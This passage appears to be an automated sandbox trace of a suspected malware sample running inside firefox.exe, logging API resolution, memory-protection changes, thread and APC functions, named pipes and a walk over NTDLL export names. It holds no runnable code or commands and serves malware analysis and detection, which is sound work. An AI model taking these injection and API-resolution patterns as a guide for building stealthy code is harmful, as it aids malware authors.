ProcedureAddress=0x3ffc24*=0x769f111e) returned 0x0 [0066.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetVolumeInformationA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a16dcb) returned 0x0 [0066.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WaitForSingleObject", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f1136) returned 0x0 [0066.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetComputerNameW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769fdd0e) returned 0x0 [0066.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="InitializeCriticalSection", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x77372c42) returned 0x0 [0066.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LoadLibraryExW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f495d) returned 0x0 [0066.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f1222) returned 0x0 [0066.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetExitCodeProcess", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a0174d) returned 0x0 [0066.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateProcessA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f1072) returned 0x0 [0066.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetDriveTypeW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f418b) returned 0x0 [0066.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenFileMappingA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f4c1b) returned 0x0 [0066.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetLogicalDriveStringsW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a7436f) returned 0x0 [0066.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="VirtualFree", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f186e) returned 0x0 [0066.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcpynA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a0192a) returned 0x0 [0066.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LocalReAlloc", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f59bf) returned 0x0 [0066.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="TlsGetValue", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f11e0) returned 0x0 [0066.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="TlsSetValue", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f14fb) returned 0x0 [0066.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="TlsAlloc", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f49ad) returned 0x0 [0066.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LoadLibraryW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f492b) returned 0x0 [0066.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetVersionExW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f1ae5) returned 0x0 [0066.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FreeLibrary", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f34c8) returned 0x0 [0066.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ReadFile", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f3ed3) returned 0x0 [0066.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SetFilePointer", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f17d1) returned 0x0 [0066.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="Thread32Next", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a75c3f) returned 0x0 [0066.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateToolhelp32Snapshot", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a1735f) returned 0x0 [0066.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="QueueUserAPC", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a19f5d) returned 0x0 [0066.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="Thread32First", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a75b93) returned 0x0 [0066.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetCurrentProcessId", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f11f8) returned 0x0 [0066.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenThread", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a01248) returned 0x0 [0066.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FindNextFileA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a1d53e) returned 0x0 [0066.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FindFirstFileA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769fe2ce) returned 0x0 [0066.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="DisconnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a741df) returned 0x0 [0066.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FlushFileBuffers", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f469b) returned 0x0 [0066.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetSystemTime", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f5a96) returned 0x0 [0066.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateNamedPipeA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a71807) returned 0x0 [0066.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CallNamedPipeA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a71f74) returned 0x0 [0066.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WaitNamedPipeA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a71c36) returned 0x0 [0066.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ConnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a740fb) returned 0x0 [0066.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetOverlappedResult", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a0cc79) returned 0x0 [0066.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CancelIo", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a6bce9) returned 0x0 [0066.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetCommandLineA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f51a1) returned 0x0 [0066.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="AddVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x773b742b) returned 0x0 [0066.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ExitProcess", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f7a10) returned 0x0 [0066.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenEventA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f4a45) returned 0x0 [0066.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetTempPathW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a0d4dc) returned 0x0 [0066.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="RemoveDirectoryW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a744cf) returned 0x0 [0066.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CompareFileTime", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f1b25) returned 0x0 [0066.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="RemoveVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x773b5f41) returned 0x0 [0066.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SleepEx", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f1215) returned 0x0 [0066.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetFileTime", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f4407) returned 0x0 [0066.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SetEndOfFile", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a0ce2e) returned 0x0 [0066.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetPrivateProfileSectionNamesW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a6a1ea) returned 0x0 [0066.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetPrivateProfileStringW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769fea48) returned 0x0 [0066.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcmpiW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a0d5cd) returned 0x0 [0066.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetPrivateProfileIntW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a1298b) returned 0x0 [0066.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="RaiseException", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f58a6) returned 0x0 [0066.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ExpandEnvironmentStringsA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a0eb39) returned 0x0 [0066.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="Process32FirstW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a18baf) returned 0x0 [0066.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="Process32NextW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a1896c) returned 0x0 [0066.673] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="QueueUserWorkItem", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a0ca80) returned 0x0 [0066.673] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FileTimeToLocalFileTime", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769fe29e) returned 0x0 [0066.673] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateWaitableTimerA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a74c24) returned 0x0 [0066.673] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetFileAttributesA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f5414) returned 0x0 [0066.673] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="VirtualProtectEx", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a745bf) returned 0x0 [0066.673] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="AVIFIL32.dll", BaseAddress=0x3ffc28 | out: BaseAddress=0x3ffc28*=0x74d40000) returned 0x0 [0066.748] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIFileExit", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x74d45fbd) returned 0x0 [0066.748] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIFileRelease", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x74d4625e) returned 0x0 [0066.748] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIFileInit", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x74d45f9f) returned 0x0 [0066.748] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIStreamWrite", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x74d46479) returned 0x0 [0066.748] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIFileCreateStreamA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x74d46198) returned 0x0 [0066.748] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIFileOpenA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x74d46cbc) returned 0x0 [0066.748] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIStreamRelease", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x74d4625e) returned 0x0 [0066.748] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIStreamSetFormat", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x74d463f0) returned 0x0 [0066.749] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIMakeCompressedStream", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x74d46dde) returned 0x0 [0066.749] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x3ffc44*=0x810000, NumberOfBytesToProtect=0x3ffc30, NewAccessProtection=0x4, OldAccessProtection=0x3ffc24 | out: BaseAddress=0x3ffc44*=0x810000, NumberOfBytesToProtect=0x3ffc30, OldAccessProtection=0x3ffc24*=0x40) returned 0x0 [0066.749] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x3ffc38*=0x811000, NumberOfBytesToProtect=0x3ffc30, NewAccessProtection=0x20, OldAccessProtection=0x3ffc24 | out: BaseAddress=0x3ffc38*=0x811000, NumberOfBytesToProtect=0x3ffc30, OldAccessProtection=0x3ffc24*=0x40) returned 0x0 [0066.750] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x3ffc38*=0x83e000, NumberOfBytesToProtect=0x3ffc30, NewAccessProtection=0x2, OldAccessProtection=0x3ffc24 | out: BaseAddress=0x3ffc38*=0x83e000, NumberOfBytesToProtect=0x3ffc30, OldAccessProtection=0x3ffc24*=0x40) returned 0x0 [0066.751] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x3ffc38*=0x866000, NumberOfBytesToProtect=0x3ffc30, NewAccessProtection=0x4, OldAccessProtection=0x3ffc24 | out: BaseAddress=0x3ffc38*=0x866000, NumberOfBytesToProtect=0x3ffc30, OldAccessProtection=0x3ffc24*=0x40) returned 0x0 [0066.751] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x3ffc38*=0x86a000, NumberOfBytesToProtect=0x3ffc30, NewAccessProtection=0x4, OldAccessProtection=0x3ffc24 | out: BaseAddress=0x3ffc38*=0x86a000, NumberOfBytesToProtect=0x3ffc30, OldAccessProtection=0x3ffc24*=0x40) returned 0x0 [0066.751] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x3ffc38*=0x86c000, NumberOfBytesToProtect=0x3ffc30, NewAccessProtection=0x2, OldAccessProtection=0x3ffc24 | out: BaseAddress=0x3ffc38*=0x86c000, NumberOfBytesToProtect=0x3ffc30, OldAccessProtection=0x3ffc24*=0x40) returned 0x0 [0066.751] HeapCreate (flOptions=0x0, dwInitialSize=0x400000, dwMaximumSize=0x0) returned 0xa20000 [0066.762] GetTickCount () returned 0x20176 [0066.762] GetModuleHandleA (lpModuleName=0x0) returned 0x1120000 [0066.762] GetVersion () returned 0x1db10106 [0066.762] GetCurrentProcessId () returned 0xb64 [0066.762] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xb0 [0066.762] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x208) returned 0xe187d0 [0066.762] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xe187d0, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\firefox.exe")) returned 0x32 [0066.762] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x1800) returned 0xe189e0 [0066.763] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189e0 | out: hHeap=0xa20000) returned 1 [0066.763] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x769e0000 [0066.763] GetProcAddress (hModule=0x769e0000, lpProcName="IsWow64Process") returned 0x769f195e [0066.763] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb64) returned 0xb8 [0066.763] IsWow64Process (in: hProcess=0xb8, Wow64Process=0x3ffbe4 | out: Wow64Process=0x3ffbe4) returned 1 [0066.763] CloseHandle (hObject=0xb8) returned 1 [0066.763] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77340000 [0066.763] lstrlenA (lpString="A_SHAFinal") returned 10 [0066.763] lstrlenA (lpString="A_SHAInit") returned 9 [0066.763] lstrlenA (lpString="A_SHAUpdate") returned 11 [0066.763] lstrlenA (lpString="AlpcAdjustCompletionListConcurrencyCount") returned 40 [0066.763] lstrlenA (lpString="AlpcFreeCompletionListMessage") returned 29 [0066.763] lstrlenA (lpString="AlpcGetCompletionListLastMessageInformation") returned 43 [0066.763] lstrlenA (lpString="AlpcGetCompletionListMessageAttributes") returned 38 [0066.763] lstrlenA (lpString="AlpcGetHeaderSize") returned 17 [0066.763] lstrlenA (lpString="AlpcGetMessageAttribute") returned 23 [0066.763] lstrlenA (lpString="AlpcGetMessageFromCompletionList") returned 32 [0066.763] lstrlenA (lpString="AlpcGetOutstandingCompletionListMessageCount") returned 44 [0066.763] lstrlenA (lpString="AlpcInitializeMessageAttribute") returned 30 [0066.763] lstrlenA (lpString="AlpcMaxAllowedMessageLength") returned 27 [0066.763] lstrlenA (lpString="AlpcRegisterCompletionList") returned 26 [0066.763] lstrlenA (lpString="AlpcRegisterCompletionListWorkerThread") returned 38 [0066.763] lstrlenA (lpString="AlpcRundownCompletionList") returned 25 [0066.763] lstrlenA (lpString="AlpcUnregisterCompletionList") returned 28 [0066.763] lstrlenA (lpString="AlpcUnregisterCompletionListWorkerThread") returned 40 [0066.763] lstrlenA (lpString="CsrAllocateCaptureBuffer") returned 24 [0066.763] lstrlenA (lpString="CsrAllocateMessagePointer") returned 25 [0066.764] lstrlenA (lpString="CsrCaptureMessageBuffer") returned 23 [0066.764] lstrlenA (lpString="CsrCaptureMessageMultiUnicodeStringsInPlace") returned 43 [0066.764] lstrlenA (lpString="CsrCaptureMessageString") returned 23 [0066.764] lstrlenA (lpString="CsrCaptureTimeout") returned 17 [0066.764] lstrlenA (lpString="CsrClientCallServer") returned 19 [0066.764] lstrlenA (lpString="CsrClientConnectToServer") returned 24 [0066.764] lstrlenA (lpString="CsrFreeCaptureBuffer") returned 20 [0066.764] lstrlenA (lpString="CsrGetProcessId") returned 15 [0066.764] lstrlenA (lpString="CsrIdentifyAlertableThread") returned 26 [0066.764] lstrlenA (lpString="CsrSetPriorityClass") returned 19 [0066.764] lstrlenA (lpString="CsrVerifyRegion") returned 15 [0066.764] lstrlenA (lpString="DbgBreakPoint") returned 13 [0066.764] lstrlenA (lpString="DbgPrint") returned 8 [0066.764] lstrlenA (lpString="DbgPrintEx") returned 10 [0066.764] lstrlenA (lpString="DbgPrintReturnControlC") returned 22 [0066.764] lstrlenA (lpString="DbgPrompt") returned 9 [0066.764] lstrlenA (lpString="DbgQueryDebugFilterState") returned 24 [0066.764] lstrlenA (lpString="DbgSetDebugFilterState") returned 22 [0066.764] lstrlenA (lpString="DbgUiConnectToDbg") returned 17 [0066.764] lstrlenA (lpString="DbgUiContinue") returned 13 [0066.764] lstrlenA (lpString="DbgUiConvertStateChangeStructure") returned 32 [0066.764] lstrlenA (lpString="DbgUiDebugActiveProcess") returned 23 [0066.764] lstrlenA (lpString="DbgUiGetThreadDebugObject") returned 25 [0066.764] lstrlenA (lpString="DbgUiIssueRemoteBreakin") returned 23 [0066.764] lstrlenA (lpString="DbgUiRemoteBreakin") returned 18 [0066.764] lstrlenA (lpString="DbgUiSetThreadDebugObject") returned 25 [0066.764] lstrlenA (lpString="DbgUiStopDebugging") returned 18 [0066.764] lstrlenA (lpString="DbgUiWaitStateChange") returned 20 [0066.764] lstrlenA (lpString="DbgUserBreakPoint") returned 17 [0066.764] lstrlenA (lpString="EtwCreateTraceInstanceId") returned 24 [0066.764] lstrlenA (lpString="EtwDeliverDataBlock") returned 19 [0066.764] lstrlenA (lpString="EtwEnumerateProcessRegGuids") returned 27 [0066.764] lstrlenA (lpString="EtwEventActivityIdControl") returned 25 [0066.764] lstrlenA (lpString="EtwEventEnabled") returned 15 [0066.764] lstrlenA (lpString="EtwEventProviderEnabled") returned 23 [0066.764] lstrlenA (lpString="EtwEventRegister") returned 16 [0066.764] lstrlenA (lpString="EtwEventUnregister") returned 18 [0066.764] lstrlenA (lpString="EtwEventWrite") returned 13 [0066.764] lstrlenA (lpString="EtwEventWriteEndScenario") returned 24 [0066.764] lstrlenA (lpString="EtwEventWriteEx") returned 15 [0066.764] lstrlenA (lpString="EtwEventWriteFull") returned 17 [0066.764] lstrlenA (lpString="EtwEventWriteNoRegistration") returned 27 [0066.764] lstrlenA (lpString="EtwEventWriteStartScenario") returned 26 [0066.765] lstrlenA (lpString="EtwEventWriteString") returned 19 [0066.765] lstrlenA (lpString="EtwEventWriteTransfer") returned 21 [0066.765] lstrlenA (lpString="EtwGetTraceEnableFlags") returned 22 [0066.765] lstrlenA (lpString="EtwGetTraceEnableLevel") returned 22 [0066.765] lstrlenA (lpString="EtwGetTraceLoggerHandle") returned 23 [0066.765] lstrlenA (lpString="EtwLogTraceEvent") returned 16 [0066.765] lstrlenA (lpString="EtwNotificationRegister") returned 23 [0066.765] lstrlenA (lpString="EtwNotificationUnregister") returned 25 [0066.765] lstrlenA (lpString="EtwProcessPrivateLoggerRequest") returned 30 [0066.765] lstrlenA (lpString="EtwRegisterSecurityProvider") returned 27 [0066.765] lstrlenA (lpString="EtwRegisterTraceGuidsA") returned 22 [0066.765] lstrlenA (lpString="EtwRegisterTraceGuidsW") returned 22 [0066.765] lstrlenA (lpString="EtwReplyNotification") returned 20 [0066.765] lstrlenA (lpString="EtwSendNotification") returned 19 [0066.765] lstrlenA (lpString="EtwSetMark") returned 10 [0066.765] lstrlenA (lpString="EtwTraceEventInstance") returned 21 [0066.765] lstrlenA (lpString="EtwTraceMessage") returned 15 [0066.765] lstrlenA (lpString="EtwTraceMessageVa") returned 17 [0066.765] lstrlenA (lpString="EtwUnregisterTraceGuids") returned 23 [0066.765] lstrlenA (lpString="EtwWriteUMSecurityEvent") returned 23 [0066.765] lstrlenA (lpString="EtwpCreateEtwThread") returned 19 [0066.765] lstrlenA (lpString="EtwpGetCpuSpeed") returned 15 [0066.765] lstrlenA (lpString="EtwpNotificationThread") returned 22 [0066.765] lstrlenA (lpString="EvtIntReportAuthzEventAndSourceAsync") returned 36 [0066.765] lstrlenA (lpString="EvtIntReportEventAndSourceAsync") returned 31 [0066.765] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd") returned 30 [0066.765] lstrlenA (lpString="ExpInterlockedPopEntrySListFault") returned 32 [0066.765] lstrlenA (lpString="ExpInterlockedPopEntrySListResume") returned 33 [0066.765] lstrlenA (lpString="KiFastSystemCall") returned 16 [0066.765] lstrlenA (lpString="KiFastSystemCallRet") returned 19 [0066.765] lstrlenA (lpString="KiIntSystemCall") returned 15 [0066.765] lstrlenA (lpString="KiRaiseUserExceptionDispatcher") returned 30 [0066.765] lstrlenA (lpString="KiUserApcDispatcher") returned 19 [0066.765] lstrlenA (lpString="KiUserCallbackDispatcher") returned 24 [0066.765] lstrlenA (lpString="KiUserExceptionDispatcher") returned 25 [0066.765] lstrlenA (lpString="LdrAccessResource") returned 17 [0066.765] lstrlenA (lpString="LdrAddLoadAsDataTable") returned 21 [0066.765] lstrlenA (lpString="LdrAddRefDll") returned 12 [0066.765] lstrlenA (lpString="LdrDisableThreadCalloutsForDll") returned 30 [0066.765] lstrlenA (lpString="LdrEnumResources") returned 16 [0066.765] lstrlenA (lpString="LdrEnumerateLoadedModules") returned 25 [0066.765] lstrlenA (lpString="LdrFindEntryForAddress") returned 22 [0066.766] lstrlenA (lpString="LdrFindResourceDirectory_U") returned 26 [0066.766] lstrlenA (lpString="LdrFindResourceEx_U") returned 19 [0066.766] lstrlenA (lpString="LdrFindResource_U") returned 17 [0066.766] lstrlenA (lpString="LdrFlushAlternateResourceModules") returned 32 [0066.766] lstrlenA (lpString="LdrGetDllHandle") returned 15 [0066.766] lstrlenA (lpString="LdrGetDllHandleByMapping") returned 24 [0066.766] lstrlenA (lpString="LdrGetDllHandleByName") returned 21 [0066.766] lstrlenA (lpString="LdrGetDllHandleEx") returned 17 [0066.766] lstrlenA (lpString="LdrGetFailureData") returned 17 [0066.766] lstrlenA (lpString="LdrGetFileNameFromLoadAsDataTable") returned 33 [0066.766] lstrlenA (lpString="LdrGetProcedureAddress") returned 22 [0066.766] lstrlenA (lpString="LdrGetProcedureAddressEx") returned 24 [0066.766] lstrlenA (lpString="LdrHotPatchRoutine") returned 18 [0066.766] lstrlenA (lpString="LdrInitShimEngineDynamic") returned 24 [0066.766] lstrlenA (lpString="LdrInitializeThunk") returned 18 [0066.766] lstrlenA (lpString="LdrLoadAlternateResourceModule") returned 30 [0066.766] lstrlenA (lpString="LdrLoadAlternateResourceModuleEx") returned 32 [0066.766] lstrlenA (lpString="LdrLoadDll") returned 10 [0066.766] lstrlenA (lpString="LdrLockLoaderLock") returned 17 [0066.766] lstrlenA (lpString="LdrOpenImageFileOptionsKey") returned 26 [0066.766] lstrlenA (lpString="LdrProcessRelocationBlock") returned 25 [0066.766] lstrlenA (lpString="LdrQueryImageFileExecutionOptions") returned 33 [0066.766] lstrlenA (lpString="LdrQueryImageFileExecutionOptionsEx") returned 35 [0066.766] lstrlenA (lpString="LdrQueryImageFileKeyOption") returned 26 [0066.766] lstrlenA (lpString="LdrQueryModuleServiceTags") returned 25 [0066.766] lstrlenA (lpString="LdrQueryProcessModuleInformation") returned 32 [0066.766] lstrlenA (lpString="LdrRegisterDllNotification") returned 26 [0066.766] lstrlenA (lpString="LdrRemoveLoadAsDataTable") returned 24 [0066.766] lstrlenA (lpString="LdrResFindResource") returned 18 [0066.766] lstrlenA (lpString="LdrResFindResourceDirectory") returned 27 [0066.766] lstrlenA (lpString="LdrResGetRCConfig") returned 17 [0066.766] lstrlenA (lpString="LdrResRelease") returned 13 [0066.766] lstrlenA (lpString="LdrResSearchResource") returned 20 [0066.766] lstrlenA (lpString="LdrRscIsTypeExist") returned 17 [0066.766] 